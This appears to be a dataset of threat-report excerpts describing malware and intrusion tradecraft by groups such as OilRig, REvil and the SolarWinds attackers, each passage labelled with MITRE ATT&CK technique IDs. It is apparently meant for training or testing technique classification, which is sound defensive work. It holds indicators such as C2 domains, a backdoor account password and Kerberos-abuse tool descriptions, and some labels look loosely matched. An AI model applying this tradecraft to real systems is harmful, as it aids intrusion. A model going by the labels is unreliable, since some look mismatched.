+The QUADAGENT backdoors dropped onto the hosts were nearly identical to each other, with the only differences being the command and control server (C2) and randomized obfuscation. We were also able to locate a third delivery package of the QUADAGENT backdoor as reported by ClearSky Cyber Security. In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails	['T1059.003']
+In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1	['T1059.003']
+1) The printer vulnerability MS10-061 exploited by Stuxnet – using a special MOF file, executed on the attacked system using WMI	['T1136.001']
+Endpoint Protection . Patchwork cyberespionage group expands targets from governments to wide range of industries . The Patchwork attack group has been targeting more than just government-associated organizations. Symantec Security Response has been actively monitoring Patchwork, also known as Dropping Elephant, which uses Chinese-themed content as bait to compromise its targets’ networks. A customized website with content related to the Chinese military . The malicious sites link to files hosted on different domains, which appear to be solely used for malicious purposes. The PowerPoint files appear to exploit the Microsoft Windows OLE Package Manager Remote Code Execution Vulnerability (CVE-2014-4114), which was used in the Sandworm attacks against American and European targets in October 2014. The rich text files typically attempt to exploit the Microsoft Office Memory Corruption Vulnerability (CVE-2015-1641), which was patched in April 2015. Users should manually remove any potential dropped files which would typically be named “sysvolinfo.exe”. Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok. As two file types are used to deliver two different payloads, there are likely multiple individuals or groups contributing to the malware development efforts. Mitigation Users should adhere to the following advice to prevent Patchwork’s attacks from succeeding: - Delete any suspicious-looking emails you receive, especially if they contain links or attachments. Spear-phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files	['T1566.002']
+The configuration, along with downloaded plugins and all harvested data are stored in a custom database format inside a single file under the %TEMP% directory. The file name is hardcoded and obfuscated with XOR. The storage file is encrypted with AES-256 using a hardcoded key and is decrypted each time the malware needs to read or write it and re-encrypted after new data is added	['T1070.004']
+After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection	['T1070.005']
+Targets common cloud applications such as web servers for initial access, using known vulnerabilities (“1-days”) – presumably those with a working exploit in the wild. Uses Windows container escape techniques to escape the container and gain code execution on the underlying node. Connects to its C2 server using the IRC protocol over the Tor network	['T1190']
+Intelligence gathering and stealing information has generally been the motivation behind Cicada’s attacks in the past, and that would appear to be the case in this attack campaign too. We observed the attackers archiving some folders of interest in these attacks, including in one organization folders relating to human resources (HR), audit and expense data, and meeting memos	['T1083']
+The actors behind this campaign gained access to numerous public and private organizations around the world. They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software	['T1195.002']
+The macros are also responsible for achieving reboot persistence for the ObliqueRAT payloads. This is done by creating a shortcut (.url file extension) in the infected user's Startup directory. Malicious shortcut in the infected user's startup directory to execute ObliqueRAT on startup	['T1547.001']
+Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10	['T1036.004']
+It will then resolve the current process’s PID and path to be used as script arguments, and proceeds to execute the script by running: /bin/sh -c ./update.sh <process_id> <process_path	['T1083']
+"Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The screenshot below shows the first few lines of the PowerShell trojan. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub projected called FruityC2. rCecms=BlackWater"". Notably, the trojanized document's macro was also called ""BlackWater,"" and the value ""BlackWater"" was hard coded into the PowerShell script. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information"	['T1027']
+The ‘jli.dll’ file acts as the first layer of the Ecipekac loader. This DLL file has a number of export functions; however, all of them refer to a similar function that carries the main loading feature	['T1574.002']
+Siloscape searches for kubectl.exe by name and the config file using a regular expression. The search function takes an extra argument: a pointer to a vector that holds folder names to exclude from the search	['T1083']
+We believe the malware authors chose to send packets that look like legitimate DNS requests over UDP port 53 to avoid being blocked by firewalls. It is very common to whitelist DNS requests in firewall configurations because blocking them could disrupt name resolution	['T1071.004']
+At this point in the execution cycle, the FoggyWeb DLL is loaded into one or more application domains where the legitimate AD FS code is running. This means the backdoor code runs alongside the AD FS code with the same access and permissions as the AD FS application. Such access allows the FoggyWeb backdoor to directly interact with the AD FS codebase (that is, not an external disk-resident tool) and selectively invoke native AD FS methods needed to facilitate its malicious operations	['T1036.005']
+Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00	['T1490']
+Should a removable drive be discovered, the plugin will seek any files residing on this device based on the plugin’s configured list. In this particular instance, the malware will seek out the following file types	['T1119']
+The purpose of this malware is to allow the actors to download and execute an executable file, as well as download and run batch files to run commands on the end system	['T1059.003']
+Unwraps a DLL into memory and calls its one-and-only import using Reflective DLL injection. DLL information	['T1082']
+The image displayed to the user after mounting the DMG appears to be the “Install” file. In actuality, it is just a system link that points to the 1302.app application bundle, or the malicious application itself. By double-clicking the “Install” image in Figure C, the system actually executes the 1302.app, where 1302.app/Contents/MacOS/1302 is just a bash script	['T1553.001']
+netbook or inexpensive laptop - Raspberry Pi computer - Bash Bunny, a special tool for carrying out USB attacks	['T1200']
+The malware has the ability to regularly take screenshots; what’s more, it takes screenshots when certain “interesting” applications are run, for instance, IM’s. Screenshots are stored in compressed format and are regularly sent to the C&C server – just like the audio recordings	['T1113']
+To capture login credentials from all the previously listed websites, Javali monitors processes to find open browsers or custom banking applications. The most common web browsers thus monitored are Mozilla Firefox, Google Chrome, Internet Explorer and Microsoft Edge	['T1057', 'T1555.003']
+The information collected is performed using WMI queries: Additionally the malware lists the running process via the Microsoft Windows API. The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data	['T1057']
+This recent campaign used malicious documents to install malware on the targeted system using a template injection attack. This technique allows a weaponized document to download an external Word template containing macros that will be executed. This is a known trick used to bypass static malicious document analysis, as well as detection, as the macros are embedded in the downloaded template	['T1059.005']
+The SUPERNOVA webshell is an anonymous code C# webshell written in .NET C# that is specifically written for usage on SolarWinds Orion servers	['T1071.001']
+1) The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign. 2) The script uses the function radador(), which returns a randomized integer. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign	['T1140']
+The group has made significant improvements to their arsenal recently and has both developed new tools and modified existing ones. The key observations covered below are based on CrowdStrike® Intelligence analysis of BazarLoader, Conti and Ryuk operations	['T1486']
+"After the last screenshot was created, it uploads all files from the ""store"" folder to the C2 server ""win-restore[.]ru"". Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script ""vvd.php"". For this, the following HTTP request is used which contains also data from the victim as well the JPEG files"	['T1074.001']
+The ransomware terminates some processes and services, some examples of which are related to backup software and data related applications. It is likely that it does this as an attempt to debilitate any efforts the victim may take in performing backup and recovery operations after the ransomware attack	['T1489']
+The script hides under multiple layers of encryption, obfuscation, and encoding techniques. For this sample, we were able to reveal three layers of code. The top-most layer executes a base64-encoded command	['T1027']
+CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners’ O365 tenants. This threat actor abused access to accounts in the Cloud Solution Partner’s environment with legitimate delegated administrative privileges to then gain access to several customers’ O365 environments	['T1199']
+Malware used by the threat group can be configured to bypass network-based detection; however, the threat actors rarely modify host-based configuration settings when deploying payloads. The threat actors demonstrated the ability to adapt when reentering a network after an eviction, overcoming technical barriers constructed by network defenders	['T1056.001']
+In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password-protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account	['T1560.001', 'T1567.002']
+TA505 sent several similar campaigns in mid-October with VBScript compressed in 7-Zip files that also downloaded either Locky or The Trick. By late October, the actor switched to Microsoft Word attachments that abused Dynamic Data Exchange (DDE) to download either Locky or Locky and The Trick in several more geo-targeted campaigns. This was the first time that we observed TA505 abusing DDE, a legitimate feature in Microsoft Office that became a regular part of multiple threat actors’ toolkits in Q4 2017. Recipients of these emails, which also used simple lures with attached fake invoices, needed to open the Microsoft Word attachments and click through a security dialog (Figure 3) to download the malware	['T1204.001']
+WannaCry then proceeds to encrypt files on the system, searching for the following file extensions, which are hard-coded in the binary	['T1083']
+The document is disguised from the Colombian National Civil Registry and uses Spanish to prompt the victim to enable the macro code in order to execute the subsequent payload	['T1204.002']
+In addition to these malware families, GALLIUM has been observed employing SoftEther VPN software to facilitate access and maintain persistence to a target network. By installing SoftEther on internal systems, GALLIUM is able to connect through that system as though they are on the internal network of the target. SoftEther provides GALLIUM with another means of persistence and flexibility with the added benefit that its traffic may appear to be benign on the target network	['T1133']
+The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information	['T1057']
+Next, the script executes a command to delete the targeted PC’s volume shadow copies, so victims cannot restore older unencrypted versions of their files	['T1490']
+No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. However, our analysis confirmed that Bad Rabbit uses the EternalRomance exploit as an infection vector to spread within corporate networks. The same exploit was used in the ExPetr	['T1210']
+We identified that even though the downloaded installation executable was signed using a valid digital signature issued to Piriform, CCleaner was not the only application that came with the download. During the installation of CCleaner 5.33, the 32-bit CCleaner binary that was included also contained a malicious payload that featured a Domain Generation Algorithm (DGA) as well as hardcoded Command and Control (C2) functionality. We confirmed that this malicious version of CCleaner was being hosted directly on CCleaner's download server as recently as September 11, 2017. In reviewing the Version History page on the CCleaner download site, it appears that the affected version (5.33) was released on August 15, 2017. On September 12, 2017 version 5.34 was released. The version containing the malicious payload (5.33) was being distributed between these dates. This version was signed using a valid certificate that was issued to Piriform Ltd by Symantec and is valid through 10/10/2018. Piriform was the company that Avast recently acquired and was the original company who developed the CCleaner software application. This second sample was also signed using a valid digital certificate, however the signing timestamp was approximately 15 minutes after the initial sample was signed. It is also important to note that while previous versions of the CCleaner installer are currently still available on the download server, the version containing the malicious payloads has been removed and is no longer available	['T1195.002']
+Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server. The error code is the value returned by the GetLastError function and sent in the next beacon. This was likely included to help the attackers understand the problem if the backdoor is unable to receive a response (Figure 9). This Cookie header is a unique indicator that can be used for network-based detection	['T1071.001']
+A Golden Ticket (GT) can be created to impersonate any user (real or imagined) in the domain as a member of any group in the domain (providing a virtually unlimited amount of rights) to any and every resource in the domain. Since the Golden Ticket is an authentication ticket (TGT described below), its scope is the entire domain (and the AD forest by leveraging SID History) since the TGT is used to get service tickets (TGS) used to access resources. The Golden Ticket (TGT) contains user group membership information (PAC) and is signed and encrypted using the domain’s Kerberos service account (KRBTGT) which can only be opened and read by the KRBTGT account	['T1134.005']
+The presence of this credential stealer may partially answer how Kobalos propagates. Anyone using the SSH client of a compromised machine will have their credentials captured. Those credentials can then be used by the attackers to install Kobalos on the newly discovered server later	['T1056']
+Extracting and dropping an OpenSSH binary from its PE resources - Extracting, dropping, and configuring the RDP Wrapper Library software from its PE resources - Creating a new user “supportaccount” with a password of “Ghar4f5” - Adding this user to the “Remote Desktop Users” and “Administrators” groups	['T1136.001']
+Poseidon utilizes a variety of tools. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective	['T1003']
+1) Creating malicious Word documents by injecting a remote template URL 2) Hosting a C2 server to gather credentials entered into authentication dialog boxes displayed when attempting to obtain the remote template	['T1221']
+As the final reconnaissance step, if the system is domain-joined, BoomBox executes an LDAP query to gather data such as distinguished name, SAM account name, email, and display name of all domain users via the filter (&(objectClass=user)(objectCategory=person	['T1087.003', 'T1087.002']
+As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The dot prefix is added in order to make it invisible in the Finder. This payload is then executed via a user LaunchAgent at ~/Library/LaunchAgents/com.aex-loop.agent.plist	['T1564.001']
+First, the malware goes over the files and directories from the paths_to_wipe config, fills them with zero-bytes instead of their real content, and then deletes them	['T1485']
+The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information. The tool runs the following list of WMI queries	['T1047']
+To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute	['T1490']
+Operational since April 2019, the group obtained the GandCrab source code from GOLD GARDEN, the operators of GandCrab that voluntarily withdrew their ransomware from underground markets in May 2019. CTU researchers assess with high confidence that GOLD SOUTHFIELD is a former GandCrab affiliate and continues to work with other former GandCrab affiliates. In December 2019, GOLD SOUTHFIELD began operating a name-and-shame style website that uses stolen data from intrusions to generate additional leverage against victims; a tactic known as double extortion. Despite GOLD SOUTHFIELD's infrastructure being taken down by law enforcement in October 2021, the REvil leak site re-emerged in April 2022 with several new victims added. GOLD SOUTHFIELD also began recruiting exclusively via their leak site using the peer-to-peer secure messaging software Tox Chat. GOLD SOUTHFIELD's affiliates distribute ransomware through a variety of means including exploit kits, scan-and-exploit attacks, publicly-accessible RDP, remote management and monitoring (RMM) servers, and backdoored software installers. As of May 2022, the group continues to operate REvil as a name-and-shame scheme and uses a leak site to post victim information and recruit affiliates	['T1195.002']
+After all this, if the malware successfully discovers a viable target and is able to gain access through SSH credential brute forcing, the malware will be able to begin installation of the cryptocurrency miner. Linux Rabbit attempts to install both “CNRig” and “CoinHive” Monero miners onto the machine, but only one will actually successfully install depending on what type of architecture the machine is. If the machine is a x86-bit, it will install CNRig Monero miner and if the machine is an ARM/MISP, it will install CoinHive. If the infected machine is a web server, the malware will inject CoinHive script tags into every HTML file, so that even visitors of the site/server are also infected with the cryptocurrency miner. Linux Rabbit is able to connect to GitHub and receive updates from the threat actors. It also has a killswitch built-in. It is able to detect other miners already on a target machine and delete them from the machine during the installation of its own miner	['T1110.003']
+Next, a Cobalt Strike binary was dropped on the endpoint as a .dll file and executed by rundll32.exe. With that, the intrusion began spreading laterally via Cobalt Strike. The operators used Windows Management Instrumentation (WMI) in their lateral movement attempt. WMI spawned cmd.exe, which subsequently spawned PowerShell with an encoded command line. This encoded PowerShell creates another Cobalt Strike Beacon. We’ve found that looking for encoded PowerShell is a great way to catch this specific evil and a lot of other evil, too. In this incident, we saw a command line that began with	['T1059.001']
+Multiple SUNBURST samples have been recovered, delivering different payloads. In at least one instance the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON	['T1105']
+The GetWebpImage() method is in charge of masquerading the output of the C2 commands as a legitimate WebP file (by adding appropriate RIFF/WebP file header magic/fields) and encoding the resulting WebP file	['T1036']
+How about DPAPI with keys tied per user & system. Volume serial ID keying. See the APT41 talk #FireEyeSummit7:19 PM · Oct 30, 2019·Twitter for Android12 Retweets1 Quote Tweet35 LikesNick Carr@ItsReallyNick	['T1480.001']
+The PowerShell script employs several layers of obfuscation to hide its actual functionality. In addition to obfuscation techniques, it also has the ability to detect security tools on the analysis machine, and can also shut down the system if it detects the presence of such tools	['T1027']
+When run, the first thing the script does is to retrieve a GUID associated to a LAN connection present on the machine by leveraging the interface offered by the WMI Class Root\Microsoft\Homenet\HNet_Connection. If a LAN connection is not available, the script defaults to a hardcoded GUID. This GUID is later communicated to the C2. It’s possible that the threat actor used this GUID to verify that the threat is running in a desirable environment, i.e. a real machine with LAN connections available	['T1049']
+In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive	['T1119', 'T1005']
+The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments. The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols. The actors used the Windows net use command to connect to Windows admin shares to move laterally	['T1078.002']
+Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information. It keeps the compromise alive by deploying a number of tools that facilitate communication between the attackers and infected computers	['T1059']
+The binary will be saved in the %APPDATA% folder and, for persistence, it creates a scheduled task that will execute every hour	['T1053.005']
+By gaining access to the configuration panel the attackers configured the Apache web server and started using the router as a proxy server between the organization’s corporate and restricted segments	['T1090.001']
+USB Worm -> this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the “Thin Client” component from a remote Crimson server	['T1091']
+GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user. GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]’s S4USelf + User to User Kerberos Authentication. GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR. ticketConverter.py: This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa. raiseChild.py: This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids	['T1558.003']
+"Creates events ""__klg__"" and ""__klgkillsoft__"" to act as mutexes and facilitate self-removal. Installs itself to %APPDATA%\Intel Corporation\IAStorIcon.exe. Creates an entry in the user's Startup folder for persistence. Uses the SetWindowsHookExW API function to capture keystrokes system-wide. Formats and writes the keylogger output to %APPDATA%\Update\Tmp\k%d.txt, where %d is the current system tick count"	['T1547.001']
+The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps. Its decryption routine, part of an executable physical patch, begins somewhere between the start() and WinMain() functions. A fun fact is that the malware authors embedded their malicious code into a binary that was a harmless executable	['T1140']
+Another component used by this group is a variant of TerraTV. It runs a legitimate TeamViewer application but hides its user interface elements, so that the operators of the malware can connect to the compromised computer undetected	['T1219']
+"It creates a socket, requests the address of the hardcoded C2 server ""win-restore.ru"" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call"	['T1082']
+This is the final payload that has been deployed as a service using svchost.exe. This Rat is heavily obfuscated and is using multiple anti-analysis techniques. It has a custom section named “qwdfr0” which performs all the de-obfuscation process. This payload register itself as a service using its export function ServiceMain	['T1543.003']
+In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network. However, that functionality was missing from this sample. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data	['T1485']
+Since 2014, Inception has widened its use of cloud service providers for C&C purposes. Whereas previously it relied on one service provider (CloudMe.com), more recently it has employed a least five cloud service providers	['T1102']
+The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. The OilRig group sent two emails to two different email addresses at the same organization within a six minutes time span. The recipient email addresses suggest they may be the addresses used for specific regional branches of the targeted organization. However, based upon the captured session data, it is highly likely the source email address was spoofed. The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time	['T1566.001']
+Once initiated the agent proceeds to enumerate the infected machine using Windows Management Instrumentation (WMI) to obtain the following information	['T1047']
+After trying to determine whether ports are open and the machine could act as a C2 tier 2 proxy, the proxy module also starts a multithreaded SOCKS5 proxy server. The SOCKS5 protocol is encapsulated into the QakBot proxy protocol composed of: QakBot proxy command (1 byte), version (1 byte), session id (4 bytes), total packet length (dword), data (total packet length-10). Incoming and outgoing packets are stored in the buffers and may be received/transmitted one by one or in multiple packets in a single TCP data segment (streamed	['T1572']
+The core component will check whether it is located in the %temp%\[appname] directory, otherwise it copies itself to %temp%\[appname]\[appname] and set the file attribute to hidden	['T1083']
+First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. If present, the ransomware will stop with a message “already encrypted. Otherwise, the Mutex value is set and encryption moves forward using standard encryption library functions. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim	['T1486']
+Function and variable names are obfuscated. Strings are encrypted. Contain an encrypted .NET injector and one or more encrypted PE payloads. Take one argument that is the decryption key for the embedded .NET injector and PE payload(s). - Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael	['T1027']
+All of the attacks involved spear-phishing emails to deliver malicious documents that required the recipient to carry out some action. The payload in a majority of these attacks was a backdoor called Spark, which is a backdoor that allows the threat actors to open applications and run command line commands on the compromised system	['T1204.001', 'T1204.002']
+We can also see files created in a TEMP folder that are serving as a small database, where Dyreza stores information, before they are sent to the C&C	['T1074.001']
+Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange	['T1059.006']
+To ensure that the compromised system is unable to restore from backup, REvil deletes shadow copies and disables recovery mode by executing the following command via ShellExecute. The length and uniqueness of this command allow for the development of high-fidelity detection controls	['T1059.003']
+an “object_id” that is a unique uuid used to identify the victim, when the value is not set in the file, it is generated randomly by the malware - a list of processes into which code is injected (iproc) - the frequency and time for task execution / backup logs / connection to the C&C ([TIME]) - the IP addresses of other computers on the network ([CW_LOCAL]) - the C&C server addresses ([CW_INET]) - the named pipes used to communicate with the injected library and with the other computers ([TRANSPORT	['T1016']
+Throughout our investigation, many of the analyzed ZeroT RAR SFX samples (e.g. 67693ddb6236d3ef790059409ae240212c47acfd8c1c76d65c3ef19096fdf43b) contained a file named Go.exe which performs Windows UAC bypass. This executable contains a PDB path indicating its purpose of bypassing UAC (Fig	['T1548.002']
+The ‘microsoft-cache’ domain was used by the malware variant that communicated over HTTP. We found four unique samples communicating with this domain, which resolved to the same Hong Kong-based IP address used by the first two domains	['T1016']
+"When the Trojan runs as an executable within the ""DsvHelper"" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder. The embedded payload written to process memory exists in the ""R"" resource and called function in the new payload is named ""RPe.Test.Work"". The function will take another executable embedded in the initial Trojan as a resource named ""M"", which it attempts to inject into the following process to execute: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe While it's configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	['T1055.012']
+These encrypted blobs are dropped to C:\Users\user\AppData\Local\Temp\3f34a.tmp one after the other. Once they are dropped, the dropper also decrypts them and writes them to a newly created folder and creates persistence	['T1140']
+It iterates over all possible Office <version> values for both Word and Excel <product> values. It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The malware moves each located document into the AppData folder, inserts malicious Word or Excel macros into it using a Microsoft.Office.Interop object, and then moves the document back into its original folder. In the samples we analyzed, the injected macros were simple downloaders	['T1080']
+PwDumpVariant: This tool imports lsremora.dll (often downloaded by the attacker as part of the toolset) and uses the GetHash export of this DLL. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig	['T1003.001']
+"The developer rewrote a large part of the code however the workflow is the same as previously and some features are copy/paste. The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322"". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011. The code is not exactly the same but the workflow and some constants are similar"	['T1573.001']
+Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed	['T1204.002']
+The first thread is responsible for taking a screenshot of the desktop of the victim machine. This screenshot data is both compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files	['T1113']
+"Once the ""instal.xml"" file began execution, it would deobfuscate the base64-encoded commands. This revealed a stager, or a small script designed to obtain an additional payload. One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. A copy of the deobfuscated stager can be seen in the image below"	['T1140']
+The group used Ruler to configure a specially crafted Outlook Home Page URL to exploit the security bypass vulnerability CVE-2017-11774, which was fixed shortly after it was discovered. Successful exploitation automatically triggered remote code execution of a script when an Outlook client synced with a mailbox and rendered the profile Home Page URL. These scripts, usually VBScript followed by PowerShell, in turn initiated the delivery of various payloads	['T1203']
+If this is successful, the malware creates a :0 alternate data stream in the executable and copies the executable’s own contents to the stream. This can be used to restore the executable later. Then the malware replaces the contents of the executable with a copy of itself and launches the service. The file modified time of the executable is also artificially changed to 00:00:00 UTC. The purpose of this time change is so the file can be identified and restored by the decryption tool	['T1070.006']
+DNS Monitoring Bypass The malware modifies the system DNS resolvers and uses Google’s public DNS servers to avoid being detected by DNS monitoring tools	['T1562.001']
+Since the discovery of the {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll backdoor and its public analysis by multiple researchers, we observed some changes in the malware’s configuration data. First, the authors started removing the names from the helper DLLs (DNSprov.dll and the two versions of HttpProv.dll). Then the operators stopped packaging the third DLL (second version of HttpProv.dll), choosing to embed just one	['T1082']
+1) Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device 2) Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods: Stealing the SAML signing certificate (Path 1) Adding to or modifying existing federation trust (Path 2) 3) Stealing the SAML signing certificate (Path 1) 4) Adding to or modifying existing federation trust (Path 2) 5) Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud	['T1047']
